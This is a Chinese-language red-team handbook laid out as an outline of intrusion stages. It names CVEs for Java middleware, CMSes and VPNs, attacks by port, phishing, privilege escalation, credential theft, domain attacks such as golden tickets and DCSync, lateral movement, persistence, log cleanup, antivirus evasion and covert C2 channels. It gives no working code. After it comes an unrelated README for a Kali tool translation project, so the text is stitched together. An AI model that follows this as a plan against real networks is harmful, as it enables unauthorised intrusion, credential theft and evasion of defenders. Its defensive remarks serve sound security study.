## 红方人员实战手册 ### 声明 ``` Author : By klion Date : 2020.2.15 寄语 : 愿 2020 后面的每一天都能一切安好 ``` ### 分享初衷 ``` 一来, 旨在为 "攻击" / "防御"方 提供更加全面实用的参考 还是那句老闲话 "未知攻焉知防", 所有单纯去说 "攻" 或者 "防" 的都是耍流氓, 攻守兼备才能把路越走越宽 二来, 也是为秉承共享协作, 希望能为 红队 及 部分实战攻防研究人员 做出自己应有的贡献 个人一直坚信, 真正的价值来源于实实在在的奉献,与其天天到处嘴炮,不如静下心来多反思下自己,好好踏踏实实做些对大家都有益的事 ``` ### 丑话说在前面 ``` 严禁任何 个人/组织机构 利用以下相关技术去从事任何未经合法授权的 网络入侵攻击破坏或者黑产活动 严禁任何 个人/组织机构 以此来进行任何形式的 商业牟利 或 恶意炒作行为,包括各类非法渗透培训,误人子弟的负面恶意引导等.... 严禁一切的恶意传播及非法利用,由此所产生的一切恶果也均由读者自行承担 ``` ### 说明 ``` 以下仅针对日常 "红队" 场景, 进行了一次相对全面完整的实战攻击利用技术提炼汇总 针对不同的渗透阶段,所可能会用到的一些技术都做了详尽梳理说明 (后面可能还会整理出对应的完整工具链,虽然那不是最主要的) 由于红队不同于一般的渗透测试, 强调更多的是如何搞进去拿到相应机器权限 或者 实现某特定目的 而不局限于你一定要在什么时间, 用什么技术 或者 必须通过什么途径去搞,相比传统渗透测试,红队则更趋于真实的入侵活动 这种场景其实对防御者的 实战对抗经验 和 技术深度 都是比较大的挑战 所以,以下的所有技术点也几乎都是完全站在这种场景和角度下来考量梳理的 需要特别说明的是, 所有攻击手法在现实中都绝不是完全孤立使用的, 往往很多手法都是相互灵活组合起来进行循环利用 由于绝大部分内容都是基于本人平时学习实战积累的一些经验,加之每个人的实际渗透思路都不同 所以肯定会有遗漏的地方,也欢迎弟兄们一起来积极指正补充完善 个人觉得,最好的防御永远不是怎么去防某个工具,是个明白人都知道,因为工具这些东西本身就是死的 稍微改下,定制下, 现有的规则可能马上就防不住了,且一直会处于疲于应付的被动防御状态 尤其是针对红队这种特殊场景的,你的实际对手很可能都是有一定技术实力的人 所以针对每种核心的攻击技术技术展开做深入分析, 直接从源头上进行防御才是最靠谱的 虽然说短期这种成本代价相对较高, 但长期来看, 是一劳永逸的, 沉淀下来的这些东西最终也会慢慢形成自己产品的核心竞争力和特色 说白点,这种对抗,本质上拼的还是双方的技术实力,不仅要能在不知觉的情况下搞进去,而且要能无限制加大对方后期的溯源成本 另外,作为一名合格的攻防人员,工具的熟练掌握仅仅只是极小的一部分,对各种利用原理的深度理解和二次定制能力才是你的核心 ``` ### 日常流程简要说明 ``` 入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护 ``` ### 0x01 入口权限获取 [ 前期侦察,搜集阶段本身就不存在太多可防御的点,非防御重心 ] ``` 绕CDN找出目标所有真实ip段 找目标的各种Web管理后台登录口 批量抓取目标所有真实C段 Web banner 批量对目标所有真实C段 进行基础服务端口扫描探测识别 尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破 批量抓取目标所有子域 Web banner 批量对目标所有子域集中进行基础服务端口探测识别 批量识别目标 所有存活Web站点的Web程序指纹 及其详细版本 从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey" 从网盘 / 百度文库 中查找目标泄露的各类 敏感文件 及 账号密码 从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ] 目标Svn里泄露的各类 敏感文件 网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...] 目标站点自身在前端代码中泄露的各种敏感信息 fofa / shodan / bing / google hacking 深度利用 搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱曾经是否泄露过密码 ] 目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息 目标微信小程序 分析目标app Web请求 借助js探针搜集目标内网信息 想办法混入目标的各种 内部QQ群 / 微信群 分析目标直接供应商 [尤其是技术外包] 根据前面已搜集到的各类信息制作有针对性的弱口令字典 目标所用 Waf 种类识别 与 绕过 BypassWAF 文件上传 / 读取 / 下载 BypassWAF Sql注入 BypassWAF RCE BypassWAF 各类Java Web中间件已知Nday漏洞利用 BypassWAF Webshell 免杀 其它更多 , 待补充修正... ``` ### 0x02 入口权限获取 [ 外部防御重心 ( "重中之重" ) ] ``` 此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用 如下已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向 故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序" 及 "web组件" ``` #### 针对各类Java中间件的各种已知Nday漏洞利用 ``` 不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑 所以拿到的shell权限一般也非常高,通常都直接是服务器权限 尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限 关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的 ``` + Struts2 ``` Struts2-005 Struts2-008 Struts2-009 Struts2-013 Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高) Struts2-019 Struts2-020 Struts2-devmode Struts2-032 Struts2-033 Struts2-037 Struts2-045 Struts2-046 Struts2-048 Struts2-052 Struts2-053 Struts2-057 ``` + weblogic ``` CVE-2019-2725 CVE-2019-2729 CVE-2018-3191 CVE-2018-2628 CVE-2018-2893 CVE-2018-2894 CVE-2017-3506 CVE-2017-10271 CVE-2017-3248 CVE-2016-0638 CVE-2016-3510 CVE-2015-4852 CVE-2014-4210 SSRF 控制台弱口令,部署webshell ``` + Jboss ``` CVE-2015-7501 CVE-2017-7504 CVE-2017-12149 未授权访问,部署webshell 控制台弱口令,部署webshell ``` + wildfly [ jboss 7.x 改名为 wildfly ] ``` 控制台弱口令,部署webshell ``` + Tomcat ``` CVE-2016-8735 CVE-2017-12615 [ readonly 实际设为 true的情况较少,稍鸡肋 ] CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ] 控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ] ``` + Jekins ``` CVE-2018-1999002 [任意文件读取] 未授权访问,任意命令执行 控制台弱口令,任意命令执行 ``` + ElasticSearch ``` CVE-2014-3120 [专门针对老版本(无沙盒)RCE] CVE-2015-1427 [Groovy RCE] CVE-2015-3337 [任意文件读取] 未授权访问,敏感信息泄露 ``` + RabbitMQ ``` 弱口令 ``` + Glassfish ``` 任意文件读取 [ 低版本 ] 控制台弱口令,部署webshell ``` + IBM Websphere ``` Java 反序列化 控制台弱口令,部署webshell ``` + Axis2 ``` 任意文件读取 目录遍历 ``` + Apache ActiveMQ ``` 未授权访问,5.12 之前的版本 fileserver存在 PUT任意写 CVE-2015-5254 ``` + Apache Solr ``` CVE-2017-12629 CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ] ``` + Apache Zookeeper ``` 未授权访问,敏感信息泄露 ``` + Apache Shiro反序列化 + fastjson <= 1.2.47 反序列化利用 #### 针对各类Windows php集成环境 [ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ] ``` AppServ Xampp 宝塔 PhpStudy ...... ``` #### 针对各类开源程序的 已知Nday漏洞利用 ``` Dedecms 后台弱口令,系列已知nday漏洞利用 thinkphp 5.x 后台弱口令,系列已知nday漏洞利用 phpcms 后台弱口令,系列已知nday漏洞利用 ecshop 后台弱口令,系列已知nday漏洞利用 Metinfo 后台弱口令,系列已知nday漏洞利用 discuz 后台弱口令,系列已知nday漏洞利用 帝国cms 后台弱口令,系列已知nday漏洞利用 phpmyadmin 数据库弱口令,系列已知nday漏洞利用 wordpress 后台弱口令,系列已知nday漏洞利用 joomla 后台弱口令,系列已知nday漏洞利用 drupal CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用 ...... ``` #### 针对其它各类Web组件的 已知Nday漏洞利用 + IIS 6.0 RCE ``` 短文件漏洞 PUT 任意写 Webdav RCE CVE-2017-7269 ``` + 禅道项目管理系统 ``` SQL注入 文件读取 远程执行 ``` + 通达OA ``` SQL注入 任意上传 ``` + Exchange ``` 利用接口进行邮箱用户名枚举 针对各个接口的弱口令爆破 CVE-2020-0688 [ 利用前提是需要先得有任意一个邮箱用户权限 ] .... ``` + Zimbra [ XXE + SSRF => RCE ] ``` CVE-2013-7091 CVE-2016-9924 CVE-2019-9670 ``` + Citrix ``` CVE-2019-19781 ``` + Jumpserver ``` 身份验证绕过 ``` + Zabbix ``` CVE-2017-2824 SQL注入 [ 2.0 老版本 ] 控制台弱口令,敏感机器信息泄露 ``` + Cacti ``` 低版本 SQL注入 控制台弱口令 ``` + Nagios ``` CVE-2016-9565 控制台弱口令 ``` + Webmin RCE ``` CVE-2019-15107 ``` + PHPMailer ``` CVE-2016-10033 ``` + 泛微OA远程代码执行 + 金蝶OA SQL注入 + Coremail 敏感文件泄露 + UEditor 任意文件上传 + OpenSSL心脏滴血抓明文账号密码 [ Heartbleed ] + 破壳漏洞 [ Shellshock ] #### 各种能快速getshell的常规基础Web漏洞利用 [ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ] ``` 后台弱口令 SSRF sql注入 越权 命令 / 代码执行 / 反序列化 任意文件上传 / 下载 / 读取 包含 XSS(实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命) 业务逻辑漏洞 ``` #### 针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用 + Pulse Secure VPN ``` CVE-2019-11510 [ 任意文件读取 ] ``` + Fortinet VPN ``` CVE-2018-13379 [ 文件读取 ] ``` + Sangfor Vpn RCE ### 0x03 入口权限获取 [ 专门针对各类基础服务端口的各种getshell利用,防御重点 ( "重中之重" ) ] ``` 此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 同样,已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序 如下,就每个端口的具体攻击利用方式,进行了简要说明 ``` * Top Port List ``` Mssql [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ] SMB [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ] WMI [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ] WinRM [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ] RDP [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ] SSH [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ] ORACLE [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ] Mysql [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ] REDIS [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ] POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ] LDAP [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ] SMTP [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ] POP3 [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ] IMAP [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ] Exchange [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ] VNC [ 默认工作在tcp 5900端口, 弱口令 ] FTP [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ] Rsync [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ] Mongodb [ 默认工作在tcp 27017端口, 未授权, 弱口令 ] TELNET [ 默认工作在tcp 23端口, 弱口令, 后门植入 ] SVN [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ] JAVA RMI [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ] CouchDB [ 默认工作在tcp 5984端口, 未授权访问 ] ``` ### 0x04 入口权限获取 #### 传统钓鱼攻击利用,实际护网场景中用的非常频繁,细节非常多,此处不一一列举,防御重点 * 发信前期准备 ``` 枚举有效的目标邮箱用户名列表 批量探测目标邮箱弱口令 伪造发信人 [ 发信邮服搭建 ] 钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ] ...... ``` * 典型投递方式 ``` 第一种,直接给目标发送各种常规木马信 传统宏利用 捆绑 exe[zip,7z] lnk chm 自解压 木马链接 OLE CVE-2017-11882 [ 利用漏洞触发 ] ... ``` ``` 第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 Vpn Mail OA Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ] ...... ``` ### 0x05 主机安全 [ 提权利用,防御重点 ] ``` 以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及 ``` * Windows 系统漏洞 本地提权 [ 成功的前提是,保证事先已做好各种针对性免杀 ] ``` BypassUAC [ win7 / 8 / 8.1 / 10 ] MS14-058[KB3000061] [重点] MS14-068[KB3011780] [重点] ms15-051[KB3045171] [重点] MS15-077[KB3077657] [重点] MS16-032[KB3124280] [重点] ms16-075 [重点] MS16-135[KB3199135] [重点] MS17-010[KB4013389] [重点] cve-2019-0708 [重点] CVE-2019-0803 [重点] CVE-2019-1322 & CVE-2019-1405 [重点] cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ] [重点] ``` * linux 内核漏洞 本地提权 [ linux-exploit-suggester ] ``` CVE-2016-5195 [重点] CVE-2017-16995 CVE-2019-13272 ``` * 利用各类第三方服务 / 软件工具提权 ``` Mssql [重点] Oracle [重点] Mysql 各类第三方软件dll劫持 [重点] suid权限 计划任务 各种错误服务配置利用 ``` ### 0x06 内网安全 [ 敏感信息搜集,防御重点,可在此项严格限制各种系统内置命令执行 ] * 搜集当前已控"跳板机"的各类敏感信息 ``` 注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述 查看当前shell权限 及 详细系统内核版本 获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip 获取当前系统最近的用户登录记录 获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ] 获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息 获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ] 获取本机 rdp / ssh 端口开启状态 及 其默认端口号 获取本机所有用户的rdp外连记录 获取本机的所有SSH登录记录 获取当前系统所有登录成功的日志 [ 针对windows ] 获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ] 获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录 获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ] 获取当前用户 桌面 及 回收站 里的所有文件列表 获取当前系统的所有存在suid权限的二进制程序 获取当前系统代理 [ ip & 端口 ] 获取当前系统所有的自启动注册表项值 获取当前系统的所有 ipc 连接 及 已启用共享 获取当前系统的所有挂载[mount] 获取当前系统的防火墙状态 获取当前系统所有分区/盘符及其详细使用情况 获取本机的累计开机时长 获取本机arp / dns缓存 获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ] 获取当前系统所有本地用户及组列表 获取当前系统host文件内容 获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ] 远程截屏捕捉目标用户敏感操作 由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作 ``` * 利用当前已控 "跳板机", 分析目标内网大致网络拓扑 及 所有关键性业务机器分布 * 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" [smb探测扫描] * 针对内网的各种高危敏感服务定位["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)] * 内网批量 Web Banner 抓取,获取关键目标业务系统如下 ``` 内网各种文件[共享]服务器 内网各类web服务器 [ 可用于后期留入口 ] 内网各类数据库服务器 内网邮件服务器 [ 可用于后期留入口 ] 内网Vpn服务器 [ 可用于后期留入口 ] 内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti... 内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端... 内网日志服务器 内网补丁服务器 内网各类OA,ERP,CRM,SRM,HR系统... 内网打印服务器 内网 MES 系统 内网虚拟化服务器 / 超融合平台 [Vmware ESX] 内网堡垒机... 内网运维,研发 部门员工的机器 内网路由,交换设备... 等等等... 针对以上的各种常规内网探测扫描,其实在流量上都会有非常清晰的表现 通过在一些关键节点设备/服务器上部署探针搜集流量 再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的 ``` * 针对各类已知系统高危RCE漏洞的批量探测识别与利用 ``` MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ] MS17-010 CVE-2019-0708 其实针对此类漏洞的攻击利用识别,就显得比较直白了 通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断 ``` ### 0x07 内网安全 [ 各类敏感凭证 "搜集" 与 "窃取" ] * 主动密码搜集 ``` 注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的 此处不再赘述, 此项非防御重点, 因为压根也不好防 批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码" 比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)... 想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表" 比如, *.ls,*.doc,*.docx, *.txt.... 抓取各类 "数据库客户端工具中保存各种数据库连接账号密码 比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)] 抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ] 抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ] 抓取当前系统的所有 "用户token" [ Windows ] 抓取 "windows凭据管理器中保存的各类连接账号密码" 抓取 "MSTSC 客户端中保存的所有rdp连接账号密码" 抓取各类 "VNC客户端工具中保存的连接密码" 抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ] 抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty 抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器 抓取各类 "数据库表中保存的各类账号密码hash" 抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp... 抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird... 抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址" 抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码" ``` * 被动密码搜集 [ 等着管理员自己来送密码 ] ``` [注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点] Windows SSP [持久化/内存] Hook PasswordChangeNotify [持久化/内存] OWA 登录账号密码截获 截获mstsc.exe中输入的rdp连接账号密码 linux 别名记录利用 本机明文密码嗅探 [ http,ftp,pop3... ] 传统键盘记录 windows蓝屏技巧 [ 此操作主要为应对不时之需,比如,搞蓝屏,登管理员登录抓密码 ] ``` * Hash爆破: ``` Hashcat [ 完全拼GPU ] ``` ### 0x08 内网安全 [ 内网常用 "隧道"" / "转发"" / "代理"" 穿透手法 提炼汇总 ,防御重点 ] ``` 出网流量刺探 比如,http,dns,以及一些穿透性相对较好的tcp端口... 这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器 常规 HTTP脚本代理 abptts,Neo-reGeorg,reGeorg,tunna,reduh... 不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行 SSH 隧道 加密端口转发,socks 实战用途非常灵活,此处不细说 ] Rdp 隧道 反向SOCKS nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 工具基本都不免杀了,需要自行处理 正反向TCP 端口转发 非常多,就不一一列举, eg: nginx,netsh,socat,ew.... DNS加密隧道 Web端口复用 需要明白的是,在一般的红队场景中 入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性 ``` ### 0x09 域内网安全 [ 域内常用攻击手法 ( 域渗透 ),提炼汇总,防御重点 ] * 针对当前域的一些常规信息搜集[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好] ``` 获取当前域内的完整域管列表 获取当前域内的所有域控机器名列表 获取当前域内的所有DNS服务器机器名列表 获取当前域内的所有SPN 获取当前域内的所有OU 获取当前域内的所有用户 & 用户组列表 获取当前域信任关系 [ 跨域渗透 ] 获取当前域内所有机器的开机时间 获取当前域内网段及web站点 获取当前域内策略 [ 主要是为了了解密码策略 ] 获取当前域林 ....... ``` * 快速获取目标域控权限的一些常规手法 ``` 搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 服务票据hash破解("尤其是域管用户的") [ kerberoast ] 批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ] Kerberos 委派利用 爆破LDAP Exchange特定ACL滥用 SSP 截获关键服务器登录密码 利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至 抓到域管密码 抓到域管令牌 DNSAdmin 组成员滥用 [ 加载执行恶意dll ] LAPS MS14-068 [ 如今实际中已很少遇到了 ] LLMNR/NBNS欺骗 + SMB relay [ 真实在实战中其实用的并不多 ] ``` * 域内后渗透敏感信息搜集分析 ``` 获取所有DNS记录 导出当前域的完整LDAP数据库 提取当前域的ntds.dit [ 域内账号密码数据库 ] Dcsync同步 Volume Shadow Copy Service ``` * 域内指定用户登录ip定位 ``` 利用OWA登录日志 利用域控服务器登录日志 指定服务银票 [ Silver Ticket ] 除此之外,就是下面的各类常规横向手法 ``` * 域内指定用户机器定向控制技巧 ``` 绑定用户登录脚本 利用GPO下发 [实际上,利用GPO能做的事情还非常非常多] PTT [ 票据传递 ] ``` * 针对域管的各种权限维持技巧 ``` 金票 Skeleton Key DSRM密码同步 OWA后门 ... ``` * 域内Exchange 邮件数据脱取 ``` 利用Ews接口通过PTH的方式脱邮件 ``` ### 0x10 内网安全 [ 跨平台横向渗透 (远程执行),防御重点 ( "重中之重" ) ] * 从 Windows平台 横向至 Windows平台 ``` 注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限 远程服务管理 [ SCM ] 远程创建执行计划任务 [ Scheduled Tasks ] WMI 远程执行 [ WMI ] 针对高版本Windows 的WinRM 远程执行 DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ] 高版本 RDP 远程执行 利用MSSQL数据库存储过程来变相远程执行 利用Oracle数据库存储过程来变相远程执行 SMB [ PTH (hash传递) ] RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控目标管理员个人机 CVE-2019-0887 ] 利用补丁服务器下发执行 利用EDR主控端定向下发执行 ``` * 从 Windows平台 横向至 *inux平台 ``` plink 或者 基于Windows SSH库自行开发各种远程执行小工具 ``` * 从 *inux平台 横向至 Windows 平台 ``` 一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下 wmiexec_linux_x86_64 smbexec_linux_x86_64 psexec_linux_x86_64 atexec_linux_x86_64 dcomexec_linux_x86_64 另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行 ``` * 从 *inux平台 横向至 *inux 平台 ``` linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行 ``` * 各种远程下载技巧 ``` wget [ win & linux ] curl [ win & linux ] ``` ``` 之所以没着重提以下这些系统内置的远程下载执行工具,主要还是因为事先已经明确知道 某些杀软环境下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对红队这种场景,这些东西根本不在乎多,有一个能用好用的即可 CertUtil.exe Bitsadmin.exe Regsvr32.exe Rundll32.exe Powershell.exe ...... ``` ### 0x11 内网安全 [ 权限维持,防御重点 ] [ 注: 有些细节此处并未展开详细说明 ] * 边界入口权限维持 ``` OWA 登录口 [ 账号密码,webshell ] VPN 登录口 [ 账号密码,shell ] 其他 MAIL 登录口 [ 账号密码 ] 边界 Web服务器 [ Webshell 驻留技巧 ] 边界路由交换设备 [ 账号密码,shell ] ... ``` * Windows 单机系统维持 [临时] ``` 系统计划任务 [ 高权限/低权限 ] 常规注册表自启动项 [ 用户权限/system权限 ] Mssql存储过程 [ 继承服务权限 ] WMI Winlogon CLR Logon Scripts MruPidlList Mof 传统远控 ... ``` * linux 单机系统维持 [临时] ``` Patch SSH 替换各类基础服务so [ PAM,Nginx,Rsync ...] 系统计划任务 传统应用层远控 驱动层远控( 针对特定内核版本 ) ``` ### 0x12 痕迹处理 ``` web日志 [ 访问, 错误日志 ] 数据库日志 [ 异常连接日志,慢查询日志 ] 系统各类安全日志 [ ssh,rdp,smb,wmi,powershell....] 各类邮箱登录日志 域内敏感攻击利用日志 [ 金票,银票... ] 此项为专业蓝队范畴,不再赘述 ...... ``` ### 0x13 各类常用 C2 / 渗透 框架 ``` CobaltStrike [二次开发] payload(beacon) 逆向/改进重写 Metasploit [二次开发] ...... ``` ### 0x14 各类常用 Webshell管理工具 ``` 菜刀 caidao20160622 冰蟹 Behinder_v2.0.1 蚁剑 AntSword ...... ``` ### 0x15 免杀 及 各类防火墙对抗 * 静态 ``` 混淆: 手工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等.... 工具混淆,针对各种语言的专业混淆工具 [ 有商业版 ] ... 加壳: 一些常用公开壳的实际效果可能并不是太好 [ 也有商业壳 ] 最好的方式还是尝试自己写壳,就是成本较高 ... ``` * 动态 ``` 反射 shellcode 内存加解密执行 ( 对于现在的某些杀软来讲,可能并没什么卵用,别人拦的基本都是你的最终调用 ) 白利用 ...... 注: 理论上, 这些应该也没有什么非常通用的方法 大多还是事先针对特定的杀软针对性的不停调试分析出它到底怎么拦,怎么查的,然后再针对性的对症下药 ``` * 流量: ``` 域前置[利用大厂cdn] DNS加密隧道 第三方公共邮箱上线 第三方网盘上线 第三方社交网站上线 第三方匿名社交工具上线[eg: tg机器人,tor...] ``` ##### 更多高质量精品实用干货分享,欢迎( 注: 乱七八杂的娱乐人员请不要来,来时请严格注明来意,否则一律不予通过,谢谢,期待认真做技术的你 ) <img src="ak.jpg" />
sec-knowleage
![](https://socialify.git.ci/Jack-Liang/kalitools/image?description=1&descriptionEditable=Kali%20Linux%E5%B7%A5%E5%85%B7%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92&font=Bitter&forks=1&issues=1&logo=https%3A%2F%2Ftools.kali.org%2Fwp-content%2Fuploads%2F2015%2F12%2Ftools-logo-1.png&pattern=Circuit%20Board&stargazers=1&theme=Light) # Kali Linux工具文档翻译计划 [![执照](https://img.shields.io/github/license/mashape/apistatus.svg)](http://shields.io/) Kali Tools Translate Volunteers是一个公益项目,简称KTTV,目标是将 http://tools.kali.org/tools-listing 的所有说明文档汉化。 也许你是: - 技术牛人 - 安全健将 - 英语达人 - 管理能手 - …… 哪怕你没有强大的渗透技术,我们也能一起创造历史。 加入项目,你将从中得到: - 良好的团队协作能力 - 五湖四海的朋友 - 一场有意义的经历 - 一些预料不到的惊喜 来吧,不妨让情怀挥洒一次,因为你我的努力将降低更多人接触Kali的门槛,为网络安全做出自己的贡献。 项目地址:[github.com/Jack-Liang/kalitools](https://github.com/Jack-Liang/kalitools) ![](https://qun.qq.com/qrcode/index?data=https%3A%2F%2Fqm.qq.com%2Fcgi-bin%2Fqm%2Fqr%3Fk%3Du4Nc8IC-YGkYOPOK7uVWuXIbrB0syaog%26jump_from%3Dwebapi%26qr%3D1) QQ群:146478946 --- # Kali Linux Tool Document Translation Program [![License](https://img.shields.io/github/license/mashape/apistatus.svg)](http://shields.io/) Kali Tools Translate Volunteers is a public welfare project, abbreviated as KTTV, and its goal is to localize all the description documents of http://tools.kali.org/tools-listing. Maybe you are: - Technical cattle - Security athlete - English speakers - Management expert - ...... Even if you do n’t have a powerful penetration technology, we can make history together. Join the project and you will get: - Good teamwork skills - Friends from all over the world - A meaningful experience - Some unexpected surprises Come on, might as well let your emotions sway once, because your efforts will lower the threshold for more people to contact Kali and make your own contribution to cyber security. Project address: [github.com/Jack-Liang/kalitools](https://github.com/Jack-Liang/kalitools) ![](https://qun.qq.com/qrcode/index?data=https%3A%2F%2Fqm.qq.com%2Fcgi-bin%2Fqm%2Fqr%3Fk%3Du4Nc8IC-YGkYOPOK7uVWuXIbrB0syaog%26jump_from%3Dwebapi%26qr%3D1) QQ group: 